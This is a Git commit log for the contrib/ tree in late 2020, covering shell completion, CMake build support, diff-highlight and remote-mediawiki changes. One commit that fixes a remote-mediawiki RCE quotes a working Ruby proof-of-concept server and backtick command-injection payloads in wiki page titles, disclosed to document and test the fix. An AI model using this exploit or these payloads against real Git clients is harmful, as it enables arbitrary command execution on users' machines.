'~/.zsh/git-completion.zsh', this ensures the script is not
automatically loaded.

The whole point of adding the script to the fpath variable is that it's
autoloaded after typing 'git<tab>', which won't happen unless it's named
_git.

I've changed the wording so it's crystal clear the name of the file
*must* be '_git'.

http://zsh.sourceforge.net/Doc/Release/Completion-System.html#Autoloaded-files

Cc: Maxim Belsky <public.belsky@gmail.com>
Cc: Johannes Schindelin <Johannes.Schindelin@gmx.de>
Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26 15:23:26 -07:00
Felipe Contreras 4ce2b5167b completion: zsh: fix __gitcomp_direct()
Many callers append a space suffix, but zsh automatically appends a
space, making the completion add two spaces, for example:

  git log ma<tab>

Will complete 'master  '.

Let's remove that extra space.

Signed-off-by: Felipe Contreras <felipe.contreras@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-26 15:23:26 -07:00
Alexey 3ebd945735 completion: fix zsh installation instructions
- Fix wrong script in completion configuration. zsh wants bash completion
  path here, not path to itself.

- Add `compinit` autoload command, since whole thing didn't work
  if it is not loaded.

Signed-off-by: Alexey <lesha.ogonkov@gmail.com>
Reviewed-by: Stefan Haller <lists@haller-berlin.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-16 09:46:11 -07:00
Denton Liu e37eae0c1e contrib/git-resurrect.sh: use hash-agnostic OID pattern
Since Git now supports hashes other than SHA-1, the hash length isn't
guaranteed to be 40 characters. Replace $_x40 with a hash-agnostic OID
pattern.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-08 11:48:56 -07:00
Denton Liu d047154e7b contrib/git-resurrect.sh: indent with tabs
In the git-resurrect script, there are a few lines that are mistakenly
indented with spaces. Replace these lines with tabs.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-08 11:48:53 -07:00
Denton Liu 64f1f58fe7 checkout: learn to respect checkout.guess
The current behavior of git checkout/switch is that --guess is currently
enabled by default. However, some users may not wish for this to happen
automatically. Instead of forcing users to specify --no-guess manually
each time, teach these commands the checkout.guess configuration
variable that gives users the option to set a default behavior.

Teach the completion script to recognize the new config variable and
disable DWIM logic if it is set to false.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-08 09:25:29 -07:00
Robert Karszniewicz 3a35d91446 git-completion.bash: stash-show: complete $__git_diff_common_options
Signed-off-by: Robert Karszniewicz <avoidr@posteo.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-07 10:54:02 -07:00
Robert Karszniewicz 8a1bb7ee9d git-completion.bash: __git_diff_common_options: add --[no-]patch
At the same time also deduplicate those options from command completions
which use $__git_diff_common_options.

Signed-off-by: Robert Karszniewicz <avoidr@posteo.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-07 10:54:00 -07:00
Junio C Hamano 8250ab0b8c Merge branch 'js/cmake-vs'
Using the CMake support we added some time ago for real with Visual
Studio build revealed there were lot of usability improvements
possible, which have been carried out.

* js/cmake-vs:
  hashmap_for_each_entry(): workaround MSVC's runtime check failure #3
  cmake (Windows): recommend using Visual Studio's built-in CMake support
  cmake (Windows): initialize vcpkg/build dependencies automatically
  cmake (Windows): complain when encountering an unknown compiler
  cmake (Windows): let the `.dll` files be found when running the tests
  cmake: quote the path accurately when editing `test-lib.sh`
  cmake: fall back to using `vcpkg`'s `msgfmt.exe` on Windows
  cmake: ensure that the `vcpkg` packages are found on Windows
  cmake: do find Git for Windows' shell interpreter
  cmake: ignore files generated by CMake as run in Visual Studio
2020-10-05 14:01:52 -07:00
Junio C Hamano 741f1f8131 Merge branch 'au/complete-restore-s'
The command line completion (in contrib/) learned that "git restore
-s <TAB>" is often followed by a refname.

* au/complete-restore-s:
  completion: complete refs after 'git restore -s'
  completion: use "prev" variable instead of introducing "prevword"
2020-10-04 12:49:09 -07:00
Junio C Hamano 5a25615d5c Merge branch 'ab/mediawiki-fixes'
Modernization and fixes to MediaWiki remote backend.

* ab/mediawiki-fixes:
  remote-mediawiki: use "sh" to eliminate unquoted commands
  remote-mediawiki: annotate unquoted uses of run_git()
  remote-mediawiki: convert to quoted run_git() invocation
  remote-mediawiki: provide a list form of run_git()
  remote-mediawiki tests: annotate failing tests
  remote-mediawiki: fix duplicate revisions being imported
  remote-mediawiki tests: use CLI installer
  remote-mediawiki tests: use inline PerlIO for readability
  remote-mediawiki tests: replace deprecated Perl construct
  remote-mediawiki tests: use a more idiomatic dispatch table
  remote-mediawiki tests: use "$dir/" instead of "$dir."
  remote-mediawiki tests: change `[]` to `test`
  remote-mediawiki tests: use test_cmp in tests
  remote-mediawiki tests: use a 10 character password
  remote-mediawiki tests: use the login/password variables
  remote-mediawiki doc: don't hardcode Debian PHP versions
  remote-mediawiki doc: link to MediaWiki's current version
  remote-mediawiki doc: correct link to GitHub project
2020-10-04 12:49:04 -07:00
Johannes Schindelin f2f1250c47 cmake (Windows): recommend using Visual Studio's built-in CMake support
It is a lot more convenient to use than having to specify the
configuration in CMake manually (does not matter whether using the
command-line or CMake's GUI).

While at it, recommend using `contrib/buildsystems/out/` as build
directory also in the part that talks about running CMake manually.

Helped-by: Junio C Hamano <gitster@pobox.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30 13:26:54 -07:00
Johannes Schindelin b490283d52 cmake (Windows): initialize vcpkg/build dependencies automatically
The idea of having CMake support in Git's source tree is to enable
contributors on Windows to start contributing with little effort. To
that end, we just added some sensible defaults that will let users open
the worktree in Visual Studio and start building.

This expects the dependencies (such as zlib) to be available already,
though. If they are not available, we expect the user to run
`compat/vcbuild/vcpkg_install.bat`.

Rather than requiring this step to be manual, detect the situation and
run it as part of the CMake configuration step.

Note that this obviously only applies to the scenario when we want to
compile in Visual Studio (i.e. with MS Visual C), not with GCC.
Therefore, we guard this new code block behind the `MSVC` conditional.

This concludes our journey to make it as effortless as possible to start
developing Git in Visual Studio: all the developer needs to do is to
clone Git's repository, open the worktree via `File>Open>Folder...` and
wait for CMake to finish configuring.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30 13:26:36 -07:00
Johannes Schindelin 2d9eb4ed2c cmake (Windows): complain when encountering an unknown compiler
We have some custom handling regarding the link options, which are
specific to each compiler.

Therefore: let's not just continue without setting the link options if
configuring for a currently unhandled compiler, but error out.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30 13:25:59 -07:00
Johannes Schindelin 8c35e82898 cmake (Windows): let the .dll files be found when running the tests
Contrary to Unix-ish platforms, the dependencies' shared libraries are
not usually found in one central place. In our case, since we use
`vcpkg`, they are to be found inside the `compat/vcbuild/vcpkg/` tree.

Let's make sure that they are in the search path when running the tests.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30 13:25:59 -07:00
Johannes Schindelin f1bd737957 cmake: quote the path accurately when editing test-lib.sh
By default, the build directory will be called something like
`contrib/buildsystems/out/build/x64-Debug (default)` (note the space and
the parentheses). We need to make sure that such a path is quoted
properly when editing the assignment of the `GIT_BUILD_DIR` variable.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30 13:25:59 -07:00
Johannes Schindelin 8f45138725 cmake: fall back to using vcpkg's msgfmt.exe on Windows
We are already relying on `vcpkg` to manage our dependencies, including
`libiconv`. Let's also use the `msgfmt.exe` from there.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30 13:25:59 -07:00
Johannes Schindelin e18ae4e7a6 cmake: ensure that the vcpkg packages are found on Windows
On Windows, we use the `vcpkg` project to manage the dependencies, via
`compat/vcbuild/`. Let's make sure that these dependencies are found by
default.

This is needed because we are about to recommend loading the Git
worktree as a folder into Visual Studio, relying on the automatic CMake
support (which would make it relatively cumbersome to adjust the search
path used by CMake manually).

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-28 15:11:39 -07:00
Johannes Schindelin 72b6eeb81b cmake: do find Git for Windows' shell interpreter
By default, Git for Windows does not install its `sh.exe` into the
`PATH`. However, our current `CMakeLists.txt` expects to find a shell
interpreter in the `PATH`.

So let's fall back to looking in the default location where Git for
Windows _does_ install a relatively convenient `sh.exe`:
`C:\Program Files\Git\bin\sh.exe`

Helped-by: Øystein Walle <oystwa@gmail.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-28 15:11:39 -07:00
Ákos Uzonyi 0bc18daa2f completion: complete refs after 'git restore -s'
Currently only the long version (--source=) supports completion.

Add completion support to the short (-s) option too.

Signed-off-by: Ákos Uzonyi <uzonyi.akos@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-26 15:30:05 -07:00
Ákos Uzonyi c09d1280f7 completion: use "prev" variable instead of introducing "prevword"
In both _git_checkout and _git_switch a new "prevword" variable were
introduced, however the "prev" variable already contains the last word.

The "prevword" variable is replaced with "prev", and the case is moved
to the beginning of the function, like it's done in many other places
(e.g. _git_commit). Also the indentaion of the case is fixed.

Signed-off-by: Ákos Uzonyi <uzonyi.akos@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-26 15:30:03 -07:00
Junio C Hamano 0335915690 Merge branch 'jk/diff-highlight-blank-match-fix'
"diff-highlight" (in contrib/) had a logic to flush its output upon
seeing a blank line but the way it detected a blank line was broken.

* jk/diff-highlight-blank-match-fix:
  diff-highlight: correctly match blank lines for flush
2020-09-25 15:25:42 -07:00
Jeff King 579789dbce diff-highlight: correctly match blank lines for flush
We try to flush the output from diff-highlight whenever we see a blank
line. That lets you see the output for each commit as soon as it is
generated, even if Git is still chugging away at a diff, or traversing
to find the next commit.

However, our "blank line" match checks length($_). That won't ever be
true, because we haven't chomped the line ending. As a result, we never
flush. Instead, let's use a simple regex which handles line endings in
with the end-of-line marker.

This has been broken since the initial version in 927a13fe87 (contrib:
add diff highlight script, 2011-10-18). Probably nobody noticed because:

  - most output is big enough, or comes fast enough, that it flushes
    anyway. And it can be difficult to notice the difference between
    "show a commit, then pause" and "pause, then show two commits". I
    only noticed because I was viewing "git log" output on a repo with a
    very slow textconv filter.

  - if stdout is going to the terminal (and not another pager like
    less), then the flush isn't necessary. So any manual testing would
    show it appearing to work.

You can easily see the difference with something like:

  echo '* diff=slow' >>.gitattributes
  git -c diff.slow.textconv='sleep 1; cat' \
      -c pager.log='diff-highlight | less' \
      log -p

That should generate one commit every second or so (more if it touches
multiple files), but without this patch it waits for many seconds before
generating several pages of output.

Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 22:33:28 -07:00
Denton Liu cce7d6ecfc contrib/completion: complete git diff --merge-base
Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 14:09:46 -07:00
Ævar Arnfjörð Bjarmason 9a8606465e remote-mediawiki: use "sh" to eliminate unquoted commands
Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:

    sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'

I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).

But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.

Suggested-by: Jeff King <peff@peff.net>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 878d150106 remote-mediawiki: annotate unquoted uses of run_git()
Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.

We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.

This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 4842a11794 remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.

This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.

The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:

    [...]"title":"`id>/tmp/mw`:Main Page"[..]

Would result in an invocation of:

    git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"

>From code such as this, which is being changed by this patch:

    run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));

So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.

About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):

    1. The mediawiki helper has never been shipped as part of an
       official Git for Windows version. Neither has it ever been part
       of an official MSYS2 package. Which means that Windows users
       who want to use the mediawiki helper have to build Git
       themselves, which not many users seem to do.

    2. The last Git for Windows version to ship with Perl v5.22.x was
       Git for Windows v2.11.1; Since Git for Windows
       v2.12.0 (released on February 25th, 2017), only newer Perl
       versions were included.

So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.

For further reference and future testing, here's working exploit code
provided by Joern:

    #!/usr/bin/ruby
    # git client side RCE via `mediawiki` remote proof of concept
    # Joern Schneeweisz - GitLab Security Research Team

    require 'sinatra'
    set bind: '0.0.0.0'

    if not ARGV[0]

      puts "Please provide the shell command to be execucted."
      exit -1

    end

    cmd = ARGV[0]
    all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
    revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
    mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)

    post '/api.php' do

      if params[:list] == 'allpages'
        return all_pages
      end

      if params[:prop] == 'revisions'
        return revs
      end

      return mainpage
    end

Which:

    [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
    being cloned with `git clone mediawiki::http://localhost:4567` the
    file `/tmp/mw` will be created during the clone process,
    containing the output of `id`.

1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens

Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 2d6b08aff4 remote-mediawiki: provide a list form of run_git()
Invoking commands as "git $args" doesn't quote $args. Let's support
["git", $args] as well, and create corresponding run_git_quoted() and
run_git_unquoted() aliases for subsequent changes when we move the
code over to the new style of invoking this function. At that point
we'll delete the then-unused run_git() wrapper.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason f8ab018daf remote-mediawiki tests: annotate failing tests
These tests consistently fail for me, and were failing before any of
the changes in this series. As noted in [1] there are some known
intermittent test failures. Let's mark these as failing so we can have
an otherwise passing test suite.

We need to add an extra test_path_is_file() here because since
d572f52a64 ("test_cmp: diagnose incorrect arguments", 2020-08-09)
test_cmp has errored out with a BUG if one of the test arguments
doesn't exist, without that the test would still fail even without
test_expect_failure().

1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Simon Legner 96653ce304 remote-mediawiki: fix duplicate revisions being imported
Fix a bug with revisions being imported twice. This commit is being
backported from Git-Mediawiki.git's e41ee9b ("All revisions imported
twice", 2018-02-02) to git.git. See [1] for the original commit and
[2] and [3] for the upstream PR and issue.

1. e41ee9b3a3
2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61
3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 1d42b4d01c remote-mediawiki tests: use CLI installer
Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.

The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.

As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.

This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.

While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)

  * Use MediaWiki's own defaults where possible, e.g. before we'd name
    the database "wikidb.sqlite", now we'll simply use whatever name
    MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
    directory name the SQLite file will be dropped into, not the full
    path.

  * Put all of our database & download assets into a new "mediawiki/"
    folder. This makes it easier to reason about as the current &
    template "backup" database the tests keep swapping around live
    next to each other.

    This'll also prevent future potential breakage as there isn't a
    single SQLite database. MediaWiki also creates a job queue
    database and a couple of cache databases. In practice it seems we
    got away with not resetting these when we reset the main database,
    but it's the sort of thing that could break in the future (reset,
    main store doesn't have the article, but the cache does).

  * The "delete" function now only deletes the MediaWiki installation
    & database, not the downloaded .tar.gz file. This makes us
    friendlier to a developer on a slow connection.

1. 5ef6ad1785 ("git-remote-mediawiki: scripts to install, delete and
   clear a MediaWiki", 2012-07-06)

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 2388541a77 remote-mediawiki tests: use inline PerlIO for readability
Replace the use of the "open" pragma with a three-arg open in the
places that actually care about UTF-8, while leaving those that
don't (the config parsing).

Unlike the previous "encoding" pragma change this isn't needed for
compatibility with anything. I just think it's easier to read code
that has localized effects than code that changes global settings.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 4f80bc9bc2 remote-mediawiki tests: replace deprecated Perl construct
The use of the encoding pragma has been a hard error since Perl
5.18 (released in 2013).

What this script really wanted to do was to decode @ARGV and write out
some files with the UTF-8 PerlIO layer. Let's just do that explicitly
instead.

This explicitly does not retain the previous UTF-8 semantics of the
script. The "encoding" pragma had all sorts of global effects (program
text being UTF-8, stdin/stdout etc.). But the only thing that was
required was decoding @ARGV and writing out UTF-8 data, which is
currently facilitated with the "open" pragma.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason dde66eb6f1 remote-mediawiki tests: use a more idiomatic dispatch table
Change the dispatch table code in test-gitmw.pl to use a hash where
subroutine references are the values. This is more obvious than a hash
where the values are strings we'll use to go searching around in the
symbol table for the function.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 9ff2958dd8 remote-mediawiki tests: use "$dir/" instead of "$dir."
Change UI messages to use "$dir/" instead of "$dir.". I think this is
less confusing when referring to an absolute directory path.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 730ecc10c7 remote-mediawiki tests: change [] to test
Convert `[]` to `test` and break if-then into separate lines, both of
which bring the style in line with Git's coding guidelines.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 090850e1b0 remote-mediawiki tests: use test_cmp in tests
Change code that used an ad-hoc "diff -b" invocation to use our
test_cmp helper instead. I'm also changing the order of arguments to
be the standard "test_cmp <expected> <actual>".

Using test_cmp has different semantics since the "-b" option to diff
causes it to ignore whitespace, but in these cases the use of "-b" was
just meaningless boilerplate. The desired semantics here are to
compare "git log" lines with know-good data, so we don't want to
ignore whitespace.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 128efae6dc remote-mediawiki tests: use a 10 character password
In more recent versions of MediaWiki this is a requirement, e.g. the
current stable version of 1.32.2.

The web installer now refuses our old 9 character password, the
command-line one (will be used in a subsequent change) will accept it,
but trying to use it in the web UI will emit an error asking the user
to reset the password. Let's use a password that'll just work and
allow us to log in as the admin user.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason 5e87dceae0 remote-mediawiki tests: use the login/password variables
Change a hardcoded user/password for the corresponding variable
defined in contrib/mw-to-git/t/test.config.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason e35973b2c9 remote-mediawiki doc: don't hardcode Debian PHP versions
Change the hardcoded version 5 PHP versions to the version-agnostic
packages. Currently Debian stable's version is 7.3, and there's a
php7.3, php7.3-cli etc. package available (but no php5-*).

The corresponding version-less package is a dependency package which
depends on whatever the current stable version is. By not hardcoding
the version these instructions won't be out of date when the next
Debian/Ubuntu release happens.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Denton Liu 93ab00bd85 contrib/completion: complete options that take refs for format-patch
The completion for format-patch currently suggests --base=, --interdiff=
and --range-diff= as options. However, with these `=` forms of the
options, there is no space and we'd enter the `--*` case which means we
don't call the __git_complete_revlist() at the end.

Teach _git_format_patch() to complete refs in the case of --base=,
--interdiff= and --range-diff=.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-17 15:23:22 -07:00
Denton Liu 308d7a7dc9 contrib/completion: extract common diff/difftool options
difftool parses its own options and then passes the remaining options
onto diff. As a result, they share common command-line options. Instead
of duplicating the list, use a shared $__git_diff_difftool_options list.

The completion for diff is missing --relative and the completion for
difftool is missing --no-index. Add both of these to the common list.

Signed-off-by: Denton Liu <liu.denton@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-17 09:38:47 -07:00
Ævar Arnfjörð Bjarmason 872977b10d remote-mediawiki doc: link to MediaWiki's current version
Amend a comment in the test.config file to point to the latest
upstream version, which makes it easier for the user to tweak this.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16 16:11:53 -07:00
Ævar Arnfjörð Bjarmason 442f5aaccc remote-mediawiki doc: correct link to GitHub project
Change the link to the canonical one, the old link redirects to the
new one.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16 16:11:53 -07:00
Junio C Hamano ff75e6c99c Merge branch 'os/vcbuild'
Fix build procedure for MSVC.

* os/vcbuild:
  contrib/buildsystems: fix expat library name for generated vcxproj
  vcbuild: fix batch file name in README
  vcbuild: fix library name for expat with make MSVC=1
2020-09-09 13:53:09 -07:00
Orgad Shaneh e58e40556f contrib/buildsystems: fix expat library name for generated vcxproj
expat.lib -> libexpat.lib (libexpatd.lib for debug build).

Signed-off-by: Orgad Shaneh <orgads@gmail.com>
Acked-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-08 14:50:00 -07:00
Junio C Hamano afd49c39dd Merge branch 'jk/slimmed-down'
Trim an unused binary and turn a bunch of commands into built-in.

* jk/slimmed-down:
  drop vcs-svn experiment
  make git-fast-import a builtin
  make git-bugreport a builtin
  make credential helpers builtins
  Makefile: drop builtins from MSVC pdb list
2020-09-03 12:37:02 -07:00
Junio C Hamano bd3ae9fb7d Merge branch 'rz/complete-more-options'
Command line completion (in contrib/) usually omits redundant,
deprecated and/or dangerous options from its output; it learned to
optionally include all of them.

* rz/complete-more-options:
  completion: add GIT_COMPLETION_SHOW_ALL env var
  parse-options: add --git-completion-helper-all
2020-08-27 14:04:49 -07:00
Junio C Hamano 8923a45f14 Merge branch 'dl/subtree-docs'
Doc updates for subtree (in contrib/)

* dl/subtree-docs:
  contrib/subtree: document 'push' does not take '--squash'
  contrib/subtree: fix "unsure" for --message in the document
2020-08-24 14:54:33 -07:00
Ryan Zoeller c099f579b9 completion: add GIT_COMPLETION_SHOW_ALL env var
When set to 1, GIT_COMPLETION_SHOW_ALL causes --git-completion-helper-all
to be passed instead of --git-completion-helper.

Signed-off-by: Ryan Zoeller <rtzoeller@rtzoeller.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-19 17:46:17 -07:00
Danny Lin ce820cbd58 contrib/subtree: document 'push' does not take '--squash'
git subtree push does not support --squash, as previously illustrated in
6ccc71a9 (contrib/subtree: there's no push --squash, 2015-05-07)

Signed-off-by: Danny Lin <danny0838@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-18 12:12:29 -07:00
Danny Lin f99c0c996b contrib/subtree: fix "unsure" for --message in the document
Revise the documentation and remove previous "unsure" after making sure
that --message supports only 'add', 'merge', 'pull', and 'split --rejoin'.

Signed-off-by: Danny Lin <danny0838@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-18 12:12:15 -07:00
Junio C Hamano 873fa13e3f Merge branch 'pd/mergetool-nvimdiff'
The existing backends for "git mergetool" based on variants of vim
have been refactored and then support for "nvim" has been added.

* pd/mergetool-nvimdiff:
  mergetools: add support for nvimdiff (neovim) family
  mergetool--lib: improve support for vimdiff-style tool variants
2020-08-17 17:02:43 -07:00
Jeff King fc47391e24 drop vcs-svn experiment
The code in vcs-svn was started in 2010 as an attempt to build a
remote-helper for interacting with svn repositories (as opposed to
git-svn). However, we never got as far as shipping a mature remote
helper, and the last substantive commit was e99d012a6b in 2012.

We do have a git-remote-testsvn, and it is even installed as part of
"make install". But given the name, it seems unlikely to be used by
anybody (you'd have to explicitly "git clone testsvn::$url", and there
have been zero mentions of that on the mailing list since 2013, and even
that includes the phrase "you might need to hack a bit to get it working
properly"[1]).

We also ship contrib/svn-fe, which builds on the vcs-svn work. However,
it does not seem to build out of the box for me, as the link step misses
some required libraries for using libgit.a. Curiously, the original
build breakage bisects for me to eff80a9fd9 (Allow custom "comment
char", 2013-01-16), which seems unrelated. There was an attempt to fix
it in da011cb0e7 (contrib/svn-fe: fix Makefile, 2014-08-28), but on my
system that only switches the error message.

So it seems like the result is not really usable by anybody in practice.
It would be wonderful if somebody wanted to pick up the topic again, and
potentially it's worth carrying around for that reason. But the flip
side is that people doing tree-wide operations have to deal with this
code.  And you can see the list with (replace "HEAD" with this commit as
appropriate):

  {
    echo "--"
    git diff-tree --diff-filter=D -r --name-only HEAD^ HEAD
  } |
  git log --no-merges --oneline e99d012a6bc.. --stdin

which shows 58 times somebody had to deal with the code, generally due
to a compile or test failure, or a tree-wide style fix or API change.
Let's drop it and let anybody who wants to pick it up do so by
resurrecting it from the git history.

As a bonus, this also reduces the size of a stripped installation of Git
from 21MB to 19MB.

